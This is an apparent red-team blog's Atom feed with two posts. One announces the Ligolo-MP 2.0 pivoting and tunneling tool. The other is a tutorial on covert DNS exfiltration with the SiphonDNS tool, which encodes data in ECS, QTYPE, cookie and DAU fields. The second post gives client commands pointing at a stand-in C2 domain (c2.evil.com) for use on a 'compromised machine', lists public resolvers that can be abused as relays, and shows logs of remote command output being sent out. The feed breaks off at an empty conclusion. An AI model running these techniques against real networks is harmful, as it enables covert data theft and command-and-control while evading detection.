<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://ttp.report/feed.xml" rel="self" type="application/atom+xml" /><link href="https://ttp.report/" rel="alternate" type="text/html" /><updated>2025-03-03T14:33:52+00:00</updated><id>https://ttp.report/feed.xml</id><title type="html">TTP Report</title><subtitle>No-nonsense breakdown of adversary tactics, techniques and procedures </subtitle><author><name>{&quot;twitter&quot;=&gt;&quot;ttpreport&quot;}</name></author><entry><title type="html">Ligolo-MP 2.0: automagic &amp;amp; GUI</title><link href="https://ttp.report/tools/2025/03/03/ligolo-mp-automagic-and-gui.html" rel="alternate" type="text/html" title="Ligolo-MP 2.0: automagic &amp;amp; GUI" /><published>2025-03-03T00:00:00+00:00</published><updated>2025-03-03T00:00:00+00:00</updated><id>https://ttp.report/tools/2025/03/03/ligolo-mp-automagic-and-gui</id><content type="html" xml:base="https://ttp.report/tools/2025/03/03/ligolo-mp-automagic-and-gui.html"><![CDATA[<p>It’s been over a year since I’ve released original Ligolo-MP and despite being quirky and very specialized, it has proven its worth for quite a lot of people. Now, with the next iteration, the main goal was to remove complex setup, simplify usage and increase overall visibility of the network for the operators.</p>

<p>If you’ve missed out on the original tool, Ligolo-MP allows you to traverse target network without any port forwarding, socks proxies and whatever else you usually use. It makes the network virtually flat and allows you to navigate it as if you are directly connected to the target LAN. Which is especially handy when you face a huge network that is highly segmented into dozens of VLANs and strictly firewalled off. And all of this comes with support for multiplayer use for the whole red team.</p>

<h2 id="tldr">TL;DR</h2>

<p><a href="https://github.com/ttpreport/ligolo-mp" target="_blank">Ligolo-MP 2.0</a> is out now. It introduces terminal-based GUI, effortless setup, fully automated TUN management and simplified singleplayer mode.</p>

<h2 id="new-features-overview">New features overview</h2>

<p>While networking code and overall backend received its fair share of improvements of performance, stability and compatibility, one of the key changes is on the client side - the tool comes with a terminal-based GUI now. You also don’t need to worry about managing these pesky TUNs anymore - it’s all automagically resolved by the tool: you just get the access you require. Furthermore, it has a no-setup-required singleplayer mode too to cover for smaller scale engagements, certifications or what have you.</p>

<h3 id="gui">GUI</h3>

<p>Initial motivation for adding GUI was just visibility: what’s the current network state, which pivots are dead and why, are the agents alive, etc. So, the first iteration turned out to be just a non-interactive dashbord, while all the functions were still pure cli-based action. While solving the original issue, it made an already not begginer-friendly solution even more difficult to use.</p>

<p>In terms of TUI frameworks, I was switching back and forth between several popular ones. I ended up using <a href="https://github.com/rivo/tview" target="_blank">tview</a> as it struck a good balance between out-of-the-box scaffolding and ability to tweak low-level behavior without duplicating half of the framework. A strong second for me was <a href="https://github.com/charmbracelet/bubbletea" target="_blank">Bubble Tea</a> and I really tried to make it work. I like their architecture and API, but it was too low-level for the amount of interfaces and business-logic I needed: it very well could be me not fully figuring out the correct approach for my use-case, but I didn’t want it to be a multi-year project, so unfortunately I had to switch.</p>

<p>Long story short, after a couple of iterations, everything was migrated to a GUI - no more cli at all. While requiring a little bit more effort that wasn’t initially planned, it was worth it: the whole experience bacame much more streamlined, the usage efficiency jumped way up and it just became visually pleasing:</p>

<p><img src="/assets/images/posts/2025-03-03-ligolo-mp-automagic-and-gui/1.png" alt="Dashboard" /></p>

<p>Besides removing the need to remember all the flags and options that you need to make the pivots work, it gives you a convenient color coded at-a-glance understanding of which pivots are live, which agents died and so on.</p>

<p>A more in-depth <a href="https://github.com/ttpreport/ligolo-mp/wiki/dashboard-overview" target="_blank">documentation for the GUI itself</a> can be found in the project’s wiki.</p>

<h3 id="fully-automatic-tun-management">Fully automatic TUN management</h3>

<p>As I mentioned in the <a href="/tools/2024/01/21/ligolo-mp-pivoting-with-friends.html" target="_blank">initial release post</a>, one of the things that I had an issue with is the need to directly manage TUN interfaces. While in theory it gives a lot of freedom to configure host-level networking however you require, in practice most of the time you just end up repeating same basic TUN creation steps and never doing any customization or fine-tuning. And this unused freedom of customization ended up just making the whole usage process quite painful, especially when you hit a dozen of TUNs that you need to keep track of.</p>

<p>For the new version, I took a more opinionated approach and removed the need to manage TUNs completely: you just tell the tool which routes you want and it will automagically figure everything out itself, including reconnects, duplicate agents and so on. You can still do manual tweaking to the interfaces that the tool creates automatically, if you really want to.</p>

<h3 id="singleplayer-mode">Singleplayer mode</h3>

<p>Not to brag, but after experiencing convenience of networking with Ligolo-MP, it’s very hard to go back to even Ligolo-ng and things like Chisel are definitely out of the question. The problem is that even if you don’t need multiplayer functionality (and complexity it brings), you are still forced to jump through all the hoops anyway, because the solution was specifically geared towards multiplayer large-scale deployments.</p>

<p>Well, couple of tweaks later, this complexity is not the case anymore: a single binary can be used as both server and a client at the same time. So, running Ligolo-MP 2.0 in singleplayer mode is even simpler than most of other old-school tools now: one binary, no additional setup required - just run and start pivoting right away.</p>

<p>There is a <a href="https://github.com/ttpreport/ligolo-mp/wiki/Singleplayer:-quick-start" target="_blank">quick start guide</a> for singleplayer mode in the wiki too.</p>

<h3 id="effortless-multiplayer-setup">Effortless multiplayer setup</h3>

<p>Even for all the benefits it brings, setup for multiplayer was unnecessarily convoluted in 1.0 and it had to go. Since the server is self-bootstrapping now, the only installation that you probably want to do is run the binary as a service and maybe a couple of dependencies in case you don’t have them installed already.</p>

<p>Included makefile can install all the required dependencies and a systemd service for you, but for more details, refer to the <a href="https://github.com/ttpreport/ligolo-mp/wiki/server-quick-install" target="_blank">installation guideline</a> in project’s wiki.</p>

<h2 id="future-work">Future work</h2>

<p>With most of the code refactored, architecture completely redone and all the quality of life features implemented, there’s very little left that I see as potentially significant improvement. There are probably some bugs that’s going to be discovered and will need a fix, but other than that I can only think of these three:</p>

<ul>
  <li>Make communication protocol customizable to support more evasive workflows</li>
  <li>Rewrite agent in C++ or something like that so that it’s not 10mb anymore</li>
  <li>Add Windows and Darwin compatibility to the server side</li>
</ul>

<p>Of course, if you have any additional suggestions, you can always reach out to me via <a href="https://github.com/ttpreport/ligolo-mp/issues" target="_blank">GitHub issues</a>.</p>]]></content><author><name>TTP Report</name></author><category term="tools" /><category term="TA0008" /><category term="pivoting" /><category term="tunneling" /><category term="multiplayer" /><category term="GUI" /><category term="automation" /><summary type="html"><![CDATA[It’s been over a year since I’ve released original Ligolo-MP and despite being quirky and very specialized, it has proven its worth for quite a lot of people. Now, with the next iteration, the main goal was to remove complex setup, simplify usage and increase overall visibility of the network for the operators.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ttp.report/assets/images/posts/2025-03-03-ligolo-mp-automagic-and-gui/banner.png" /><media:content medium="image" url="https://ttp.report/assets/images/posts/2025-03-03-ligolo-mp-automagic-and-gui/banner.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">SiphonDNS: covert data exfiltration via DNS</title><link href="https://ttp.report/evasion/2025/02/03/siphondns-covert-dns-exfiltration.html" rel="alternate" type="text/html" title="SiphonDNS: covert data exfiltration via DNS" /><published>2025-02-03T00:00:00+00:00</published><updated>2025-02-03T00:00:00+00:00</updated><id>https://ttp.report/evasion/2025/02/03/siphondns-covert-dns-exfiltration</id><content type="html" xml:base="https://ttp.report/evasion/2025/02/03/siphondns-covert-dns-exfiltration.html"><![CDATA[<p>When you end up in a more strictly controlled environment, HTTP and DNS are likely the only protocols allowed to go outside. Furthermore, you can bet on both being proxied and highly monitored. This time, I’ll focus on some opportunities to hide traffic within DNS that does not trigger traditional subdomain-based anomaly detection.</p>

<p>Now, this is nothing revolutionary or even particularly new. These ideas have been discussed here and there for many years, but I felt there is a gap in actual proofs of concept that you can apply in your own environments.</p>

<p>Lastly, the more covert you go, the less performant it usually ends up - so, the different techniques I describe here will be a tradeoff one way or another. In general, do not expect to magically get a covert and responsive C2 channel out of these.</p>

<h2 id="tldr">TL;DR</h2>

<p>I quickly put together a proof of concept for several less traditional ways of data exfiltration methods using DNS. Some of them can be hidden behind trusted public DNS servers like Google and OpenDNS, others will require direct connection to your authoritative server. You can find the tool in my Github: <a href="https://github.com/ttpreport/siphondns">SiphonDNS</a>.</p>

<h2 id="intro">Intro</h2>

<h3 id="dns-exfiltration-crash-course">DNS exfiltration crash course</h3>

<p>Due to the huge variety of types, the diagram doesn’t have any details of Questions, Answers, or other Resource Records. The specific composition of these parts of the packet will be covered in each technique separately. I’m not gonna go into details too much, but on a higher level, the DNS packet has a quite simple structure.</p>

<p><img src="/assets/images/posts/2025-02-03-siphondns-covert-dns-exfiltration/1.png" alt="dns-packet-structure" /></p>

<p>The header mostly just carries meta-data and has a fixed size, while the bulk of the data resides in Questions and Resource Records, which nowadays is quite flexible in size. Traditionally, it was limited to 512 bytes, but with the introduction of Extension Mechanisms for DNS (EDNS), this limit increased dramatically to up to 65535 bytes (if the whole chain supports it, of course). These details will become important when we get to detection evasion.</p>

<p>Technically, a DNS request can consist of multiple Questions, but while having multiple Answers is quite normal, sending multiple Questions is not always supported by DNS servers and as you might’ve guessed, will definitely not help flying under the radar.</p>

<p>Now, Resource Records are bound by different restrictions per record type. They are also limited by different structures and data formats. On the other hand, it’s absolutely fine to have multiple Resource Records within 1 DNS packet, both request and response.</p>

<p>All of these restrictions are very minor compared to the fact that most of the optional sections will not be forwarded to the authoritative server either by design, because a public recursive server doesn’t support some feature, or because of privacy considerations.</p>

<p>Furthermore, at any step of the resolution chain you can hit a cached value instead of an authoritative response, so figuring out some kind of ACK for each request becomes crucial even within the most reliable network.</p>

<h3 id="traditional-way-and-detections">Traditional way and detections</h3>

<p>The OG version of DNS exfiltration that is very effective to this day goes back to the 90s and, in general, works like this:</p>

<p><img src="/assets/images/posts/2025-02-03-siphondns-covert-dns-exfiltration/2.png" alt="traditional-exfil" /></p>

<ol>
  <li>The beacon periodically queries the TXT record of a specific domain. This record holds a command for the beacon</li>
  <li>Once the TXT record appears, it gets decoded and decrypted and then executed</li>
  <li>Execution results are then encrypted and encoded, split up into small chunks, and sent by putting each chunk in a subdomain</li>
</ol>

<p>Of course, there are some variations to this, like using different query types or a command that could be received by a completely different channel, but the general idea always stays the same.</p>

<p>What’s nice about this technique is that you can fit quite a lot of bytes within a subdomain, making exfiltration relatively efficient. On top of that, on a network level, the beacon communicates with the C2 server through a public DNS server, which can not be easily filtered. However, it’s decades old and there are already tons of ways of detecting this, even within open-source solutions:</p>

<ul>
  <li>Requests to subdomains per TLD</li>
  <li>Query length</li>
  <li>Domain name entropy</li>
  <li>Domains per IP, IPs per domain</li>
  <li>Orphan analysis</li>
  <li>Request interval statistics</li>
  <li>…</li>
</ul>

<p>On top of that, if your SOC pulls up DNS data during response or investigation, they will definitely see and flag these unreadable subdomains as anomalies.</p>

<h2 id="covert-exfiltration">Covert exfiltration</h2>

<p>Since the biggest IOC of the original technique is the subdomain, a more covert approach would completely drop the usage of subdomains in exchange for something else, like request volume and/or transmission speed. Also, to keep baseline comparison happy and slow down manual analysis, it’s important to keep the communication looking like regular DNS traffic.</p>

<p>As discussed earlier, in the original RFC 1035, there are not so many places where you can hide the data. Thankfully, since the publication of this RFC in 1987, the standard has been extended by dozens of additional RFCs, but we are going to focus on functionality introduced in RFC 6891 - Extension Mechanisms for DNS (EDNS(0)).</p>

<p>These DNS extensions open up virtually infinite opportunities for data transmission of almost arbitrary size. Of course, it’s not as easy as that - first of all, while this extended standard allows for the transfer of larger data chunks, exceeding the original 512-byte packet size would be too easy to detect, because a majority of regular DNS traffic would not exceed this value. But that’s not all: there’s limited support for some optional features of extended protocol by public DNS servers and most of those that are supported are not expected to be forwarded to an authoritative server as is.</p>

<p>So, for example, a cookie (RFC 7873), that can hold up to 32 bytes of hex-encoded data looks like a perfect place to hide, but by its very design the cookie stays the same only for a single relay: while a client can send data within a cookie to the public DNS server and it will use it to communicate back, it will generate a new value to communicate with the next server in recursive resolution chain. So the authoritative server will never receive the original value.</p>

<p>This work isn’t intended to be a complete analysis of all possible EDNS exfiltration methods, but rather to provide an example of the overall approach and tooling to test things within your environment. I ended up with a simple proof of concept in the form of <a href="https://github.com/ttpreport/siphondns">SiphonDNS</a>. It supports 4 techniques discussed in the next chapter and can be relatively easily modified and extended to suit your experimentation needs.</p>

<h3 id="hiding-behind-the-giants">Hiding behind the giants</h3>

<p>Let’s start with more valuable techniques that can keep you behind public DNS servers, meaning that they can be used in highly restricted environments that wouldn’t allow direct communication with authoritative servers. Much like the traditional technique, but without subdomains.</p>

<p>Probably obvious, but I think still worth mentioning is that you need to register a (sub)domain for your C2 server and configure a nameserver to be your machine, e.g. for <code class="language-plaintext highlighter-rouge">c2.evil.com</code> your DNS zone should look something like this:</p>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>Name</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>A</td>
      <td>evil.com</td>
      <td>1.2.3.4</td>
    </tr>
    <tr>
      <td>A</td>
      <td>ns1</td>
      <td>1.2.3.4</td>
    </tr>
    <tr>
      <td>NS</td>
      <td>c2</td>
      <td>ns1.evil.com</td>
    </tr>
  </tbody>
</table>

<h4 id="ecs-edns-client-subnet">ECS (EDNS Client Subnet)</h4>

<p>EDNS Client Subnet is one of the possible options for extended DNS standards. Introduced in RFC 7871, it carries information about the network that originated a DNS query and the network for which the subsequent response can be cached. On a more practical level, you send your IP address with the DNS request which would allow DNS servers to better cache responses for you, much like a CDN network.</p>

<p>While this thing stirred up a lot of shit in the community due to potential privacy issues, it’s actually amazing for exfiltration purposes, and that is for 2 reasons:</p>

<ul>
  <li>Supposed to be forwarded to the authoritative server</li>
  <li>Supported by a couple of major public DNS servers</li>
</ul>

<p>With this one, the only downside is the size limit: it’s about 3 bytes per packet unless you want to do some tryhard encoding (which is out of scope for this). So, you either end up triggering volumetric detections or you can opt for slower transmission with higher delay between requests and fly completely under the radar.</p>

<p>Since my goal is just a proof of concept, here’s a simple encoding scheme that can be used with this technique:</p>

<p><img src="/assets/images/posts/2025-02-03-siphondns-covert-dns-exfiltration/3.png" alt="ecs-encoding" /></p>

<p>As you can see, there’s a small additional requirement: encoded data must not be within range of reserved IPs - that makes sense given the intended use of the ECS. The reason I use 3 bytes instead of 4: public DNS servers that can be abused as relays strip the last octet for privacy reasons, so that leaves only 3 octets that can be used.</p>

<p>As with any other technique, there’s also an issue of possible cached responses which would mean that the data chunk did not reach our C2. To detect this, I expect to have current chunk contents somewhere in the response, which in this case is the Target section of the SVCB request. And just to mix things up, instead of polling the TXT record for a command, it’s going to poll for SOA:</p>

<p><img src="/assets/images/posts/2025-02-03-siphondns-covert-dns-exfiltration/4.png" alt="ecs-protocol" /></p>

<p>Testing this technique with SiphonDNS is quite straightforward:</p>

<ul>
  <li>Run the SiphonDNS server on your NS server</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./siphondns-server <span class="nt">-method</span> ecs
</code></pre></div></div>

<p>This will start a DNS server on port 53.</p>

<ul>
  <li>Then run the SiphonDNS client on the compromised machine</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./siphondns-client <span class="nt">-domain</span> <span class="s1">'c2.evil.com'</span> <span class="nt">-method</span> ecs <span class="nt">-resolver</span> 8.8.8.8:53
</code></pre></div></div>

<p>It will immediately start polling for a command with a default interval of 1000 milliseconds. You can control this with a parameter <code class="language-plaintext highlighter-rouge">-interval</code>.</p>

<ul>
  <li>Now, on the server side, issue a command and observe results on both sides</li>
</ul>

<p>Server-side:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd&gt; <span class="nb">id
</span>Command received
Receiving data............................................................................

Response:
 <span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>kali<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>kali<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1000<span class="o">(</span>kali<span class="o">)</span>,4<span class="o">(</span>adm<span class="o">)</span>,20<span class="o">(</span>dialout<span class="o">)</span>,24<span class="o">(</span>cdrom<span class="o">)</span>,25<span class="o">(</span>floppy<span class="o">)</span>,27<span class="o">(</span><span class="nb">sudo</span><span class="o">)</span>,29<span class="o">(</span>audio<span class="o">)</span>,30<span class="o">(</span>dip<span class="o">)</span>,44<span class="o">(</span>video<span class="o">)</span>,46<span class="o">(</span>plugdev<span class="o">)</span>,100<span class="o">(</span><span class="nb">users</span><span class="o">)</span>,106<span class="o">(</span>netdev<span class="o">)</span>,118<span class="o">(</span>wireshark<span class="o">)</span>,121<span class="o">(</span>bluetooth<span class="o">)</span>,134<span class="o">(</span>scanner<span class="o">)</span>,141<span class="o">(</span>kaboxer<span class="o">)</span>
</code></pre></div></div>

<p>Client-side:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Polling....OK
Executing <span class="nb">command</span>: <span class="nb">id</span> ... OK
Sending: 13.3.7.0 ... OK
Sending: 101.74.120.0 ... OK
Sending: 99.121.122.0 ... OK
Sending: 70.79.66.0 ... OK
Sending: 68.69.77.0 ... OK
Sending: 104.101.71.0 ... OK
Sending: 101.85.49.0 ... OK
Sending: 68.97.107.0 ... OK
Sending: 111.115.52.0 ... OK
Sending: 71.120.89.0 ... OK

...[SNIP]...

Sending: 104.74.119.0 ... OK
Sending: 65.65.47.0 ... OK
Sending: 47.57.56.0 ... OK
Sending: 57.107.71.0 ... OK
Sending: 1.84.0.0 ... OK
Sending: 7.3.13.0 ... OK
Done <span class="k">in </span>108 requests.
</code></pre></div></div>

<p>It will send data with a default delay of 200 milliseconds between each request. You can control this with the parameter <code class="language-plaintext highlighter-rouge">-delay</code>.</p>

<p>Since 8.8.8.8:53 was specified as a resolver, all the communication went through Google DNS, but it’s not the only one that can be abused, these will also work:</p>

<ul>
  <li><strong>Google</strong>: 8.8.8.8 and 8.8.4.4</li>
  <li><strong>Quad9</strong>: 9.9.9.11 and 149.112.112.11</li>
  <li><strong>GCore</strong>: 95.85.95.85 and 2.56.220.2</li>
</ul>

<p>These are the more popular ones out of a list that I tested. There are dozens more, but they are mostly smaller ones that would only make sense for the regions they operate in - so doing your own research depending on engagement geography will bring the best results.</p>

<h4 id="qtype-query-type">QTYPE (Query Type)</h4>

<p>This time, we’ll be hiding inside the Question structure itself. A nice thing about this section is that it’s always forwarded to the authoritative server verbatim (unless you hit the cache, of course). Since the subdomain field is not available, let’s leverage the rest of the fields: QTYPE and QCLASS.</p>

<p>Well, in this PoC, I’ll be using QTYPE only, because I’m trying to stay as stealthy as possible, and while arbitrary QTYPEs are quite weird already, adding QCLASS in there is just too noticeable since QCLASS is almost always a fixed value “1”.</p>

<p>Using QTYPE only leaves us with 2 bytes per message, here’s another naive encoder that’s used here:</p>

<p><img src="/assets/images/posts/2025-02-03-siphondns-covert-dns-exfiltration/5.png" alt="qtype-encoding" /></p>

<p>The protocol itself is similar, but this time, to avoid cache hits, it’d be a pain in the ass to find an appropriate field for each QTYPE Answer that will convey a marker of cache miss. Instead, we’ll just use TTL which is a common field for all Resource Records and the length of the current data buffer will be enough to assert cache miss:</p>

<p><img src="/assets/images/posts/2025-02-03-siphondns-covert-dns-exfiltration/6.png" alt="qtype-protocol" /></p>

<p>This is how you do that with SiphonDNS:</p>

<ul>
  <li>Run the SiphonDNS server on your NS server</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./siphondns-server <span class="nt">-method</span> qtype
</code></pre></div></div>

<ul>
  <li>Then run the SiphonDNS client on the compromised machine</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./siphondns-client <span class="nt">-domain</span> <span class="s1">'c2.evil.com'</span> <span class="nt">-method</span> qtype <span class="nt">-resolver</span> 1.1.1.1:53
</code></pre></div></div>

<ul>
  <li>Now, on the server side, issue a command and observe results on both sides</li>
</ul>

<p>Server-side:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd&gt; <span class="nb">id
</span>Command received
Receiving data.....................................................................................

Response:
 <span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>kali<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>kali<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1000<span class="o">(</span>kali<span class="o">)</span>,4<span class="o">(</span>adm<span class="o">)</span>,20<span class="o">(</span>dialout<span class="o">)</span>,24<span class="o">(</span>cdrom<span class="o">)</span>,25<span class="o">(</span>floppy<span class="o">)</span>,27<span class="o">(</span><span class="nb">sudo</span><span class="o">)</span>,29<span class="o">(</span>aud<span class="o">)</span>,134<span class="o">(</span>scanner<span class="o">)</span>,141<span class="o">(</span>kaboxer<span class="o">)</span>
</code></pre></div></div>

<p>Client-side:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Polling.....OK
Executing <span class="nb">command</span>: <span class="nb">id</span> ... OK
Sending: 12345 ... OK
Sending: 40568 ... OK
Sending: 52572 ... OK
Sending: 20529 ... OK
Sending: 13060 ... OK

...[SNIP]...

Sending: 32511 ... OK
Sending: 17398 ... OK
Sending: 659 ... OK
Sending: 56789 ... OK
Done <span class="k">in </span>85 requests.
</code></pre></div></div>

<p>So, the reason why would you want to use this instead ECS technique is the fact that all public DNS servers support this as it’s part of the core standard. I guess, there could be some custom implementations that do not handle non-standard QTYPEs, but that’s more of an exception than a rule.</p>

<p>Also, as mentioned before, you can trade a little stealth for double the buffer size by including another 2-byte sector into the encoder - QCLASS field.</p>

<h3 id="direct-connections">Direct connections</h3>

<p>The following techniques are less interesting as they require a direct connection to the authoritative server. The upside of this is that the potential buffer size is much bigger, which means a lesser volume of requests and better performance. What you have to keep in mind here is that since we control both sender and receiver, it’s quite tempting to start heavily misusing random fields and stuff more data into each request. Keep in mind that part of staying hidden is generating seemingly legit traffic and the more you step outside of standard protocol use, the more likely you are getting flagged.</p>

<p>So, if your environment allows for direct connections to arbitrary DNS servers over 53/UDP, using these techniques might let you fly under the radar, even under strict monitoring.</p>

<h4 id="cookie">Cookie</h4>

<p>This is another EDNS option introduced in RFC 7873, which is supposed to protect from a bunch of threats, but what’s important for us is that we can store up to 32 bytes in this thing and we don’t even need any fancy encoding since cookie has to be in hex.</p>

<p>So the encoder is very simple here:</p>

<p><img src="/assets/images/posts/2025-02-03-siphondns-covert-dns-exfiltration/7.png" alt="cookie-encoding" /></p>

<p>The protocol is basically identical to the ECS technique, but again, since the request type doesn’t matter, we are going to use KX (RFC 2230). Our cache miss marker will be the Exchanger field of the KX Answer:</p>

<p><img src="/assets/images/posts/2025-02-03-siphondns-covert-dns-exfiltration/8.png" alt="cookie-protocol" /></p>

<p>This is how you do that with SiphonDNS:</p>

<ul>
  <li>Run the SiphonDNS server on your NS server</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./siphondns-server <span class="nt">-method</span> cookie
</code></pre></div></div>

<ul>
  <li>Then run the SiphonDNS client on the compromised machine</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./siphondns-client <span class="nt">-domain</span> <span class="s1">'github.com'</span> <span class="nt">-method</span> cookie <span class="nt">-resolver</span> 1.2.3.4:53
</code></pre></div></div>

<p>Notice that you have to set the resolver to the IP of the C2 server. Also, you can use any domain, which might help avoid some detections.</p>

<ul>
  <li>Now, on the server side, issue a command and observe results on both sides</li>
</ul>

<p>Server-side:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd&gt; <span class="nb">id
</span>Command received
Receiving data.............

Response:
 <span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>kali<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>kali<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1000<span class="o">(</span>kali<span class="o">)</span>,4<span class="o">(</span>adm<span class="o">)</span>,20<span class="o">(</span>dialout<span class="o">)</span>,24<span class="o">(</span>cdrom<span class="o">)</span>,25<span class="o">(</span>floppy<span class="o">)</span>,27<span class="o">(</span><span class="nb">sudo</span><span class="o">)</span>,29<span class="o">(</span>audio<span class="o">)</span>,30<span class="o">(</span>dip<span class="o">)</span>,44<span class="o">(</span>video<span class="o">)</span>,46<span class="o">(</span>plugdev<span class="o">)</span>,100<span class="o">(</span><span class="nb">users</span><span class="o">)</span>,106<span class="o">(</span>netdev<span class="o">)</span>,118<span class="o">(</span>wireshark<span class="o">)</span>,121<span class="o">(</span>bluetooth<span class="o">)</span>,134<span class="o">(</span>scanner<span class="o">)</span>,141<span class="o">(</span>kaboxer<span class="o">)</span>
</code></pre></div></div>

<p>Client-side:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Polling...........OK
Executing <span class="nb">command</span>: <span class="nb">id</span> ... OK
Sending: 13371337133713371337133713371337 ... OK
Sending: 789c5ccb314e04310c85e19e5350da92 ... OK
Sending: 8b381b1628384c766d66a209e3288907 ... OK
Sending: b83d1ad120baf73ee9f7226f1c42802d ... OK
Sending: d7828fcbbfdbcddbf8239420cb07520c ... OK
Sending: 202557f3891413dca5dba94ff05eadb5 ... OK
Sending: 6fa4f80cc3c590e22b6497624897b369 ... OK
Sending: 4829c151440d295da1555f440f240e01 ... OK
Sending: 7c681fe7bcc2aef397f9053e4bd7b1e6 ... OK
Sending: be217164b855d769365724be2418f7bc ... OK
Sending: efda9138316cf9665fdaf1e1270000ff ... OK
Sending: ff7cf64193 ... OK
Sending: 73317331733173317331733173317331 ... OK
Done <span class="k">in </span>13 requests.
</code></pre></div></div>

<h4 id="dau-dnssec-algorithm-understood">DAU (DNSSEC Algorithm Understood)</h4>

<p>This is another application of EDNS0 and I include this here just to highlight the fact that with direct connection to an authoritative server, you can come up with virtually endless amount of techniques of data exfiltration. This is just another example of a misuse of an arbitrary field.</p>

<p>Encoder here is also very simple:</p>

<p><img src="/assets/images/posts/2025-02-03-siphondns-covert-dns-exfiltration/9.png" alt="dau-encoding" /></p>

<p>The protocol is again almost exactly the same, although we use NAPTR (RFC 2915) Questions and its REGEXP field as cache miss marker:</p>

<p><img src="/assets/images/posts/2025-02-03-siphondns-covert-dns-exfiltration/10.png" alt="dau-protocol" /></p>

<p>And this is how you do it with SiphonDNS:</p>

<ul>
  <li>Run the SiphonDNS server on your NS server</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./siphondns-server <span class="nt">-method</span> dau
</code></pre></div></div>

<ul>
  <li>Then run the SiphonDNS client on the compromised machine</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./siphondns-client <span class="nt">-domain</span> <span class="s1">'github.com'</span> <span class="nt">-method</span> dau <span class="nt">-resolver</span> 1.2.3.4:53
</code></pre></div></div>

<p>Notice that you have to set the resolver to the IP of the C2 server. Also, you can use any domain, which might help avoid some detections.</p>

<ul>
  <li>Now, on the server side, issue a command and observe results on both sides</li>
</ul>

<p>Server-side:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd&gt; <span class="nb">id
</span>Command received
Receiving data......

Response:
 <span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>kali<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>kali<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1000<span class="o">(</span>kali<span class="o">)</span>,4<span class="o">(</span>adm<span class="o">)</span>,20<span class="o">(</span>dialout<span class="o">)</span>,24<span class="o">(</span>cdrom<span class="o">)</span>,25<span class="o">(</span>floppy<span class="o">)</span>,27<span class="o">(</span><span class="nb">sudo</span><span class="o">)</span>,29<span class="o">(</span>audio<span class="o">)</span>,30<span class="o">(</span>dip<span class="o">)</span>,44<span class="o">(</span>video<span class="o">)</span>,46<span class="o">(</span>plugdev<span class="o">)</span>,100<span class="o">(</span><span class="nb">users</span><span class="o">)</span>,106<span class="o">(</span>netdev<span class="o">)</span>,118<span class="o">(</span>wireshark<span class="o">)</span>,121<span class="o">(</span>bluetooth<span class="o">)</span>,134<span class="o">(</span>scanner<span class="o">)</span>,141<span class="o">(</span>kaboxer<span class="o">)</span>
</code></pre></div></div>

<p>Client-side:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Polling...OK
Executing <span class="nb">command</span>: <span class="nb">id</span> ... OK
Sending: <span class="o">[</span>1 3 3 7 1 3 3 7] ... OK
Sending: <span class="o">[</span>101 74 120 99 121 122 70 79 66 68 69 77 104 101 71 101 85 49 68 97 107 111 115 52 71 120 89 111 79 69 120 50 98 87 97 105 67 101 77 111 105 81 101 52 80 82 114 82 73 76 114 51 80 117 110 51 73 109 56 99 81 111 65 116] ... OK
Sending: <span class="o">[</span>49 52 75 80 121 55 47 98 122 100 118 52 73 53 81 103 121 119 100 83 68 67 65 108 86 47 79 74 70 66 80 99 112 100 117 112 84 47 66 101 114 98 86 118 112 80 103 77 119 56 87 81 52 105 116 107 108 50 74 73 108 55 78 112] ... OK
Sending: <span class="o">[</span>83 67 110 66 85 85 81 78 75 86 50 104 86 86 57 69 68 121 81 79 65 88 120 111 72 43 101 56 119 113 55 122 108 47 107 70 80 107 118 88 115 101 97 43 73 88 70 107 117 70 88 88 97 84 90 88 74 76 52 107 71 80 101 56] ... OK
Sending: <span class="o">[</span>55 57 113 82 79 68 70 115 43 87 90 102 50 118 72 104 74 119 65 65 47 47 57 56 57 107 71 84] ... OK
Sending: <span class="o">[</span>7 3 3 1 7 3 3 1] ... OK
Done <span class="k">in </span>6 requests.
</code></pre></div></div>

<h2 id="conclusion">Conclusion</h2>

